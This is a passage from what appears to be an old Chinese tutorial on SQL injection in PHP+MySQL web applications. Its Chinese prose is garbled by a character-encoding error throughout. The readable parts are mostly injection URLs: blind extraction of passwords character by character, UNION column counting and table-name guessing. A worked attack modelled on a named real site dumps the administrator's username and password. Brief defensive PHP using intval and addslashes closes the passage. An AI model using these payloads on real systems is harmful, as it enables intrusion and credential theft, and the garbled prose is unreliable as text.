¡¡¡¡ÎÒÃÇÒªµÄ½á¹û¾Í±Å³öÀ´ÁË¡£µ±È»£¬Èç¹û¾õµÃÂé·³£¬»¹¿ÉÒÔÓøü¼òµ¥µÄ°ì·¨£¬¾ÍÊÇÀûÓÃord()º¯Êý£¬¾ßÌå×÷ÓÿÉÒÔÈ¥²é¿´MYSQL²Î¿¼Êֲᣬ¸Ãº¯Êý·µ»ØµÄÊÇÕûÐÎÀàÐ͵ÄÊý¾Ý£¬¿ÉÒÔÓñȽÏÔËËã·û½øÐбȽϡ¢µ±È»µÃ³öµÄ½á¹ûÒ²¾Í¿ì¶àÁË£¬Ò²¾ÍÊÇÕâÑùÌá½»£º
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112
¡¡¡¡ÕâÑùÎÒÃǾ͵óö½á¹ûÁË£¬È»ºóÎÒÃÇÔÙÓÃchar()º¯Êý»¹Ô³öÀ´¾ÍºÃÁË¡£ÖÁÓÚÆäËû¸ü¶àº¯Êý£¬´ó¼Ò¿ÉÒÔ×Ô¼ºÈ¥ÊÔÑ飬ÏÞÓÚÆª·ùÒ²²»¶à˵ÁË¡£
3¡¢¿ìËÙÈ·¶¨Î´ÖªÊý¾Ý½á¹¹µÄ×ֶμ°ÀàÐÍ
¡¡¡¡Èç¹û²»Çå³þÊý¾Ý½á¹¹£¬ºÜÄÑÓÃUNIONÁªºÏ²éѯ£¬ÕâÀïÎÒ¸æËß´ó¼ÒÒ»¸öС¼¼ÇÉ£¬Ò²ÊǷdz£ÓÐÓ÷dz£±ØÒªµÄ¼¼ÇÉ£¬³ä·Ö·¢»ÓUNIONµÄÌØÐÔ¡£
¡¡¡¡»¹ÊÇÄÃÇ°ÃæµÄshow.phpÎļþ×öÀý×Ó£¬µ±ÎÒÃÇ¿´µ½ÐÎÈçxxx.php?id=xxxµÄURLµÄʱºò£¬Èç¹ûÒªUNION£¬¾ÍÒªÖªµÀÕâ¸öxxx.php²éѯµÄÊý¾Ý±íµÄ½á¹¹£¬ÎÒÃÇ¿ÉÒÔÕâÑùÌá½»À´¿ìËÙÈ·¶¨ÓжàÉÙ¸ö×ֶΣº
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
¡¡¡¡ÓжàÉÙ¸ö¡°1¡±¾Í±íʾÓжàÉÙ¸ö×ֶΣ¬¿ÉÒÔÂýÂýÊÔ£¬Èç¹û×Ö¶ÎÊý²»Ïàͬ£¬¾Í¿Ï¶¨»á³ö´í£¬Èç¹û×Ö¶ÎÊý²Â¶ÔÁË£¬¾Í¿Ï¶¨»á·µ»ØÕýÈ·µÄÒ³Ãæ£¬×Ö¶ÎÊý³öÀ´ÁË£¬¾Í¿ªÊ¼ÅжÏÊý¾ÝÀàÐÍ£¬ÆäʵҲºÜÈÝÒ×£¬Ëæ±ãÓü¸¸ö×Öĸ´úÌæÉÏÃæµÄ1£¬µ«ÊÇÓÉÓÚmagic_quotes_gpc´ò¿ª£¬ÎÒÃDz»ÄÜÓÃÒýºÅ£¬Àϰ취£¬»¹ÊÇÓÃchar()º¯Êý£¬char(97)±íʾ×Öĸ¡°a¡±£¬ÈçÏ£º
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
¡¡¡¡Èç¹ûÊÇ×Ö·û´®£¬ÄǾͻáÕý³£ÏÔʾ¡°a¡±£¬Èç¹û²»ÊÇ×Ö·û´®»òÎı¾£¬Ò²¾ÍÊÇ˵ÊÇÕûÐλò²¼¶ûÐΣ¬¾Í»á·µ»Ø¡°0¡±£¬Èçͼ£º
¡¡¡¡ÅжÏ×îÖ÷Òª¿¿Ê²Ã´£¿¾Ñ飬ÎÒÒÔǰһֱ¶¼Ëµ£¬¾ÑéºÜÖØÒª£¬·á¸»¾ÑéÄܸüºÃµÄ×÷³öÕýÈ·µÄÅжϣ¬ÒòΪ³ÌÐòµÄ´úÂëÊÇǧ±äÍò»¯µÄ£¬ÎÒÃÇÕâÀïÊÇÖ»ÊǾٸö×î¼òµ¥µÄÀý×Ó£¬ÕâÀïÓÉÓÚ¾ÖÏÞÐÔ£¬³ÌÐò¶¼ÊÇÎÒ×Ô¼ºÐ´¡¢×Ô¼º²âÊԵġ£·½·¨Òò³ÌÐò¶øÒ졣ϣÍû´ó¼ÒÔÚʵսÖУ¬×¢ÒâÇø±ð£¬²»ÒªÕհᣬÁé»îÔËÓòÅÊǸù±¾¡£
4¡¢²ÂÊý¾Ý±íÃû
¡¡¡¡ÔÚ¿ìËÙÈ·¶¨Î´ÖªÊý¾Ý½á¹¹µÄ×ֶμ°ÀàÐ͵Ļù´¡ÉÏ£¬ÎÒÃÇÓÖ¿ÉÒÔ½øÒ»²½µÄ·ÖÎöÕû¸öÊý¾Ý½á¹¹£¬ÄǾÍÊDz±íÃû£¬ÆäʵʹÓÃUNIONÁªºÏ²éѯµÄʱºò£¬²»¹ÜºóÃæµÄ²éѯÔõô¡°»ûÐΡ±£¬Ö»ÒªÃ»ÓÐÓï¾äÉϵÄÎÊÌ⣬¶¼»áÕýÈ··µ»Ø£¬Ò²¾ÍÊÇ˵£¬ÎÒÃÇ¿ÉÒÔÔÚÉÏÃæµÄ»ù´¡ÉÏ£¬½øÒ»²½²Âµ½±íÃûÁË£¬±ÈÈç¸Õ²ÅÎÒÃÇÌá½»£º
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1
¡¡¡¡·µ»ØÕý³£µÄÄÚÈÝ£¬¾Í˵Ã÷Õâ¸öÎļþ²éѯµÄ±íÄÚÊÇ´æÔÚ3¸ö×ֶεģ¬È»ºóÎÒÃÇÔÚºóÃæ¼ÓÈëfrom table_name£¬Ò²¾ÍÊÇÕâÑù£º
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user
¡¡¡¡Èç¹ûÕâ¸ö±íÊÇ´æÔڵģ¬ÄÇôͬÑù»á·µ»ØÓ¦¸ÃÏÔʾµÄÄÚÈÝ£¬Èç¹û±í²»´æÔÚ£¬µ±È»¾Í»á³ö´íÁË£¬ËùÒÔÎÒµÄ˼·ÊÇÏÈ»ñµÃÓЩ¶´µÄÎļþËù²éѯ±íµÄÊý¾Ý½á¹¹£¬È·¶¨½á¹ûºóÔÙ½øÒ»²½²éѯ±í£¬Õâ¸öÊÖ¹¤²Ù×÷ÊÇûÓÐЧÂʵÄÎÊÌâµÄ£¬²»µ½Ò»·ÖÖӾͿÉÒÔ²éѯµ½ÁË£¬±ÈÈçÎÒÃÇÔÚ²âÊÔwww.***bai.net¾ÍÊÇÕâÑù£¬ºóÃæµÄʵÀý»áÉæ¼°µ½¡£
¡¡¡¡µ«ÊÇÓÐÒ»¸öÎÊÌ⣬ÓÉÓںܶàÇé¿öÏ£¬ºÜ¶à³ÌÐòµÄÊý¾Ý±í¶¼»áÓÐÒ»¸öǰ׺£¬ÓÐÕâ¸öǰ׺¾Í¿ÉÒÔÈöà¸ö³ÌÐò¹²ÓÃÒ»¸öÊý¾Ý¿â¡£±ÈÈ磺
site_article
site_user
site_download
forum_user
forum_post
¡¡
¡¡¡¡Èç¹û°²È«Òâʶ¸ßµÄ»°£¬¹ÜÀíÔ±»á¼Ó¸ö±íÃûǰ׺£¬ÄDz½â¾ÍºÜÂé·³ÁË£¬²»¹ýÍêÈ«¿ÉÒÔ×öÒ»¸ö±íÃûÁбíÀ´ÅÜ¡£ÕâÀï¾Í²»¶à˵ÁË£¬ºóÃæ»áÓÐÒ»¸ö¾ßÌåµÄÀý×ÓÀ´½â¿ªÒ»ÇÐÃÔã^_^¡¡
ʵÀý
¡¡¡¡ÏÂÃæ¶ÔÒ»¸ö¹úÄڷdz£³öÃûµÄÕ¾µã½øÐÐÉÆÒâµÄ¹¥»÷²âÊÔ£¬À´¶ÔÉÏÃæµÄ֪ʶ½øÐÐÒ»´Î´ó¸ÅµÄÑéÖ¤£¬³öÓÚÓ°ÏìµÈÖî¶àÒòËØ£¬ÎÒÃdzÆÕâ¸öÕ¾µãΪHB(www.***bai.net)£¬HBʹÓõÄÊÇҹèµÄÎÄÕÂϵͳºÍÏÂÔØÏµÍ³£¬²»¹ýÎÄÕÂϵͳÒѾÉý¼¶ÁË£¬ÎÒÃǾͲ»¿´ÁË£¬ÏÂÔØÏµÍ³ÊǾø¶ÔÓÐÎÊÌâµÄ£¬²»¹ýÓÉÓÚÎÒÏÖÔÚдÎÄÕµĵçÄÔ²»ÉÏÍø£¬ÎÒÓÃÏàͬµÄÏÂÔØÏµÍ³ÔÚ±¾µØ½øÐÐÒ»´ÎÄ£ÄâµÄ²âÊÔ¡£Êµ¼ÊÉÏ£¬ÎÒÊÂǰÔçÓøüºÝ¶¾µÄ¼¼ÊõÉøÍ¸¹ýHB¡£
¡¡¡¡Ê×ÏÈÎÒÃÇÕÒµ½ÓÐÎÊÌâµÄÎļþ£¬show.php?id=1£¬ÎÒÃÇÂíÉÏ¿´¿´Êý¾Ý½á¹¹ºÍ±íÃû£¬¿´¿´HBÓÐûÓиÄ×ֶκͱíÃû£¬ÎÒÔçÖªµÀҹèÏÂÔØÏµÍ³1.0.1°æµÄÈí¼þÐÅÏ¢µÄ±íÓÐ19¸ö×ֶΣ¬¾ÍÌá½»£º
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
¡¡¡¡×¢Ò⣬ÕâÀïÓÐ19¸ö¡°1¡±£¬·µ»ØÕý³£µÄÒ³Ãæ£¬ÎÒ¿ÉÒÔ¿ÉÒԿ϶¨×Ö¶ÎûÓб䣬ÎÒÃÇÒ²¾Í±ðÍÏÀÁË£¬Ö±½Ó¿´¿´Ò¹Ã¨µÄĬÈÏÓû§Êý¾Ý±íÊÇ·ñ´æÔÚ£º
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
¡¡¡¡Õý³£·µ»Ø£¬Èçͼ£¬Èç¹ûURL²»Çå³þ¿ÉÒÔ¿´±êÌâÄÇÀ
¡¡¡¡àÅ£¬Õâ¸öHB»¹ÕæÊǹ»ÀÁµÄ£¬ÕâôÀõijÌÐòÒ²²»ÖªµÀÏÈÐÞ¸ÄÒ»ÏÂÔÙÓ㬲»¹ýÒ²ÊÇ£¬Ã»ÓжàÉÙÈ˺ÍÎÒÒ»ÑùÓÐÏÐÐÄÏÈÈ¥¼Ó¹Ì³ÌÐò²ÅÓõģ¬ÔÙ¿´Ä¬ÈϵÄÓû§id»¹ÔÚ²»ÔÚ£¿
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
¡¡¡¡Íü¼ÇÁË£¬¾ÍËã²»´æÔÚidΪ1µÄÓû§£¬Ç°ÃæµÄ²éѯÊÇÕæµÄ£¬ÕÕÑù»áÕý³£·µ»ØÊý¾Ý¿âµÄÈí¼þÐÅÏ¢£¬ÎÒÃÇÖ»ÄÜÈÃÇ°ÃæµÄ²éѯΪ¼Ù£¬²ÅÄÜʹºóÃæ²éѯµÄ½á¹ûÏÔʾ³öÀ´£¬µ«ÎÒÃÇҪעÒâÒ»µã£¬show.phpÎļþÀïÃæÓÐÕâÑùÒ»¶Î´úÂ룺
if ($id > "0" && $id < "999999999" ):
//ÕâÀïÊÇÕýÈ·Ö´ÐеĴúÂë
else:
echo "<p><center><a href=./list.php>Î޼Ǽ</a></p>\n";
¡¡¡¡Ò²¾ÍÊÇ˵ÎÒÃǵÄIDµÄÖµÔÙÔõôÀëÆ×Ò²²»ÄÜÔÚ0ºÍ999999999Ö®Í⣬HBµÄÈí¼þ¿Ï¶¨²»»á³¬¹ý10000¸öµÄ£¬ÎÒÃǾÍÌá½»£º
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
¡¡¡¡Õý³£·µ»ØÁË£¬±í¸ñÀïµÄÊý¾ÝÈ«²¿ÊÇ¡°1¡±£¬ËµÃ÷ID»¹ÔÚŶ¡£Èç¹û²»´æÔڵϰ£¬Ò³ÃæÖ»·µ»ØµÄÊý¾ÝÈ«²¿ÊDz»Ï꣬ÒòΪ³ÌÐòµÄÅжÏÊÇÈç¹ûÊý¾ÝΪ¿Õ¾ÍÏÔʾ²»Ïê¡£ÏÖÔÚÈ·¶¨ÁËID´æÔں󣬻¹ÒªÈ·¶¨ÊDz»ÊǹÜÀíÔ±²ÅÐа¡£º
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
¡¡¡¡³ÌÐò¹æ¶¨groupidΪ1Êdz¬¼¶¹ÜÀíÔ±£¬¼ÈÈ»¶¼·µ»ØÕýÈ·ÐÅÏ¢ÁË£¬ÎÒÃǾÍÖ±½Ó¹¹Ôì»ûÐÎÓï¾ä£¬±©³öÎÒÃÇÐèÒªµÄÓû§ÃûºÍÃÜÂ룬ºÙºÙ£¬Ê×ÏÈ¿´¿´ymdown±íµÄÊý¾Ý½á¹¹£¬ÒòΪshow.phpÊDzéѯËüµÄ£¬ËùÒÔÎÒÃÇÓ¦¸Ã¿´ËüµÄÊý¾Ý½á¹¹¡£
CREATE TABLE ymdown (
¡¡id int(10) unsigned NOT NULL auto_increment,
¡¡name varchar(100) NOT NULL,
¡¡updatetime varchar(20) NOT NULL,
¡¡size varchar(100) NOT NULL,
¡¡empower varchar(100) NOT NULL,
¡¡os varchar(100) NOT NULL,
¡¡grade smallint(6) DEFAULT '0' NOT NULL,
¡¡viewnum int(10) DEFAULT '0' NOT NULL,
¡¡downnum int(10) DEFAULT '0' NOT NULL,
¡¡homepage varchar(100), demo varchar(100),
¡¡brief mediumtext, img varchar(100),
¡¡sort2id smallint(6) DEFAULT '0' NOT NULL,
¡¡down1 varchar(100) NOT NULL,
¡¡down2 varchar(100),
¡¡down3 varchar(100),
¡¡down4 varchar(100),
¡¡down5 varchar(100),
¡¡PRIMARY KEY (id)
);
¡¡¡¡Óû§ÃûºÍÃÜÂëµÄÊý¾ÝÀàÐͶ¼ÊÇvarchar£¬ËùÒÔÎÒÃÇҪѡÔñymdown±íÀïÊý¾ÝÀàÐÍÊÇvarcharÀ´£¬Èç¹û°ÑvarcharµÄÊý¾Ýдµ½intµÄµØ·½µ±È»ÊDz»¿ÉÄÜÏÔʾµÄÁË£¬ÓÉÓÚupdatetime£¨¸üÐÂÈÕÆÚ£©µÄ³¤¶ÈÊÇ20£¬¿ÉÄÜ»á³öÏÖÏÔʾ²»ÍêÈ«µÄÇé¿ö£¬ÎÒÃǾͰÑÓû§ÃûÏÔʾÔÚname£¨Èí¼þ±êÌ⣩ÄÇÀÃÜÂëÏÔʾÔÚsize£¨Îļþ´óС£©ÄÇÀïºÃÁË£¬ÔÚ19¸ö¡°1¡±ÖУ¬nameºÍsize·Ö±ðÊǵڶþ¸öºÍµÚËĸö£¬ÎÒÃÇÌá½»£º
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
¡¡¡¡½á¹û³É¹¦·µ»ØÁËÎÒÃÇËùÐèÒªµÄÓû§ÃûºÍÃÜÂ룬Èçͼ£º
ÑéÖ¤²âÊÔ½á¹û
¡¡¡¡Õû¸öÉøÍ¸¹ý³Ì¾Í½áÊøÁË£¬²»¹ýÓÉÓÚºÚ°×°ÑÈë¿Ú¸ø¸ÄÁË£¬ÎÞ·¨µÇ½£¬µ«ÎÒÃǽö½ö²âÊÔ×¢È룬ĿµÄÒѾ´ïµ½ÁË£¬¾ÍûÓбØÒª½øºǫ́ÁË£¬ÎÒºóÀ´ÓÖ¼ÌÐø¹¹ÔìSQLÓï¾äÀ´ÑéÖ¤ÎÒÃÇ»ñÈ¡µÄÃÜÂëÊÇ·ñÕýÈ·£¬ÒÀ´ÎÌá½»£º
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#ÑéÖ¤µÚһλÃÜÂë
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#ÑéÖ¤µÚ¶þλÃÜÂë
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#ÑéÖ¤µÚÈýλÃÜÂë
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#ÑéÖ¤µÚËÄλÃÜÂë
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#ÑéÖ¤µÚÎåλÃÜÂë
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#ÑéÖ¤µÚÁùλÃÜÂë
¡¡¡¡ÓÃselect char(49,50,51,52,53,54)¾Í¿ÉÒԵõ½123456¡£
¡¡¡¡OK£¡²âÊÔ½áÊø£¬ÑéÖ¤ÎÒÃǵĽá¹ûûÓдíÎó¡£ËµÃ÷һϣ¬ÃÜÂë±¾ÉíÊÇ123456£¬¿ÉÒÔ²»ÓÃord()º¯Êý¶øÖ±½Ó²Â£¬µ«ÎªÁË´ó¼ÒÄÜ¿´µ½Ò»¸öÍêÕûµÄ¹ý³Ì£¬ÎÒ»¹ÊÇ¡°×¨Òµ¡±Ò»µãºÃÁË¡£ÏÂÃæ²¹Ò»·ù½ØÍ¼£¬ÊDZ¾ÎÄдÍêºó£¬ÖØÐ²âÊÔHBʱ½ØÈ¡µÄ£º
×¢ÈëµÄ·À·¶
¡¡¡¡·À·¶¿ÉÒÔ´ÓÁ½¸ö·½Ãæ×ÅÊÖ£¬Ò»¸ö¾ÍÊÇ·þÎñÆ÷£¬¶þ¸ö¾ÍÊÇ´úÂë±¾Éí£¬½éÉÜ·þÎñÆ÷ÅäÖõÄÎÄÕºܶàÁË£¬Î޷ǾÍÊǰÑmagic_quotes_gpcÉèÖÃΪOn£¬display_errorsÉèÖÃΪOff£¬ÕâÀïÒ²¾Í²»ÔÚ¶à˵£¬¼ÈÈ»±¾ÎĽӴ¥¶¼ÊdzÌÐòµÄÎÊÌ⣬ÎÒÃÇ»¹ÊÇ´Ó³ÌÐò±¾ÉíѰÕÒÔÒò¡£
¡¡¡¡Èç¹û˵php±ÈaspÒ×Ó㬰²È«£¬´ÓÄÚÖõĺ¯Êý¾Í¿ÉÒÔÌåÏÖ³öÀ´¡£Èç¹ûÊÇÕûÐεıäÁ¿£¬Ö»ÐèʹÓÃÒ»¸öintval()º¯Êý¼´¿É½â¾öÎÊÌ⣬ÔÚÖ´Ðвéѯ֮ǰ£¬ÎÒÃÇÏÈ´¦ÀíһϱäÁ¿£¬ÈçÏÂÃæµÄÀý×Ó¾ÍÊǺܰ²È«µÄÁË£º
$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");
¡¡¡¡»òÕßÕâÑùд£º
mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")
¡¡¡¡²»¹ÜÈçºÎ¹¹Ô죬×îÖÕ»¹ÊÇ»áÏÈת»»ÎªÕûÐβ·ÅÈëÊý¾Ý¿âµÄ¡£ºÜ¶à´óÐͳÌÐò¶¼ÊÇÕâÑùд£¬·Ç³£¼ò½à¡£
¡¡¡¡×Ö·û´®ÐεıäÁ¿Ò²¿ÉÒÔÓÃaddslashes()Õû¸öÄÚÖú¯ÊýÁË£¬Õâ¸öº¯ÊýµÄ×÷ÓúÍmagic_quotes_gpcÒ»Ñù£¬Ê¹Óúó£¬ËùÓÐµÄ ' (µ¥ÒýºÅ), " (Ë«ÒýºÅ), \ (·´Ð±Ïß) and ¿Õ×Ö·û»á×Ô¶¯×ªÎªº¬Óз´Ð±ÏßµÄÒç³ö×Ö·û¡£¶øÇÒа汾µÄphp£¬¾ÍËãmagic_quotes_gpc´ò¿ªÁË£¬ÔÙʹÓÃaddslashes()º¯Êý£¬Ò²²»»áÓгåÍ»£¬¿ÉÒÔ·ÅÐÄʹÓá£Àý×ÓÈçÏ£º
$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");
¡¡¡¡»òÕßÕâÑùд£º
mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")
¡¡¡¡Ê¹ÓÃaddslashes()º¯Êý»¹¿ÉÒÔ±ÜÃâÒýºÅÅä¶Ô´íÎóµÄÇé¿ö³öÏÖ¡£¶ø¸Õ²ÅµÄÇ°ÃæËÑË÷ÒýÇæµÄÐÞ²¹·½·¨¾ÍÊÇÖ±½Ó°Ñ¡°_¡±¡¢¡°%¡±×ª»»Îª¡°\_¡±¡°\%¡±¾Í¿ÉÒÔÁË£¬µ±È»Ò²²»ÒªÍü¼ÇʹÓÃaddslashes()º¯Êý¡£¾ßÌå´úÂëÈçÏ£º
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
¡¡¡¡²»ÓÃÏñASPÄÇÑù£¬¹ýÂËÒ»µã±äÁ¿£¬¾ÍҪдһ´ó¶ÑµÄ´úÂ룬¾ÍÊÇÉÏÃæµÄÒ»µãµã´úÂ룬ÎÒÃǾͿÉÒ԰ѱ¾ÎÄËùÓеÄÎÊÌâ½â¾öÁË£¬ÊDz»ÊǺܼò±ã£¿
ºó¼Ç
¡¡¡¡ÕâÆªÎÄÕÂÊÇÎÒ×Ô2004Äê3Ô·ÝÒÔÀ´ÀûÓÿÎÓàʱ¼äѧϰÑо¿µÄ£¬5ÔÂÖÐѮдÍ꣬ÀïÃæµÄËùÓж«Î÷¶¼ÊǾ¹ýÎÒÇ××Ô²âÊԵ쬱¾ÎĽö½öËãÊǼ¼Êõ×ܽá°É£¬»¹Óкܶ༼ÊõÄѵãûÓнâ¾öµÄ£¬Òò´Ë´í©ÊÇÄÑÃâµÄ£¬»¶ÓÇë´ó¼ÒÖ¸Õý¡£
¡¡¡¡»¹Óв»ÉÙΣÏÕÐÔ¼«¸ßµÄ¶«Î÷£¬Ö»ÒªÉÙÊýÌõ¼þ³ÉÁ¢£¬Ò»°ã¶¼¿ÉÒÔ½øÈë·þÎñÆ÷£¬¿¼Âǵ½ÑÏÖØÐԺ͹㷺ÐÔ£¬ÎÒ²¢Ã»ÓÐд³öÀ´£¬ÎÒ¸öÈ˹À¼Æ£¬²»¾Ã½«»á³öÏÖPHP+MYSQL×¢ÈëµÄһϵÁй¤¾ß£¬¼¼ÊõÒ²»áÆÕ¼°ºÍ¸æËß·¢Õ¹¡£µ«ÎÒ½¨Òé´ó¼ÒÒ»¶¨ÒªÅªÇå³þÔÀí£¬¹¤¾ßÖ»ÊÇÎäÆ÷£¬¼¼Êõ²ÅÊÇÁé»ê£¬¹¤¾ßÖ»ÊÇÌá¸ßЧÂʰÕÁË£¬²¢²»´ú±íÄãµÄ¼¼Êõ¸ß³¬¡£
¡¡¡¡´ó¼Ò¿´µ½ÕâÆªÎÄÕµÄʱºò£¬¹À¼ÆÎÒÒѾ¸ß¿¼ÍêÁË£¬Êî¼ÙÎÒ»áдһƪ¸üÉîÈëµÄÑо¿¡£
¡¡¡¡ÎªÁËÈøü¶àÈËÁË½â²¢ÕÆÎÕPHP+MYSQLµÄ×¢Èë¼¼Êõ£¬ÎÒ²ÅдÁËÕâÆªÎÄÕ£¬²¢¾ö¶¨·¢±í£¬ÔÙÖØÉêÒ»´Î¡£²»Òª¶ÔÈκιú¼ÒµÄÈκκϷ¨Ö÷»ú½øÐÐÆÆ»µ£¬·ñÔòºó¹û×Ô¸º¡£
ÉøÍ¸¹ý¹Ø·Ç³£ÇáËÉ
Ò»Çж¼¾¡ÔÚÎÒÕÆÎÕÖÐ
Ô½À´Ô½½Ó½ü¹ÜÀíÔ±
½ñÌìµÄÐÄÇéÊÇ´ó²»Í¬°¡´ó²»Í¬
Ò³:
[1]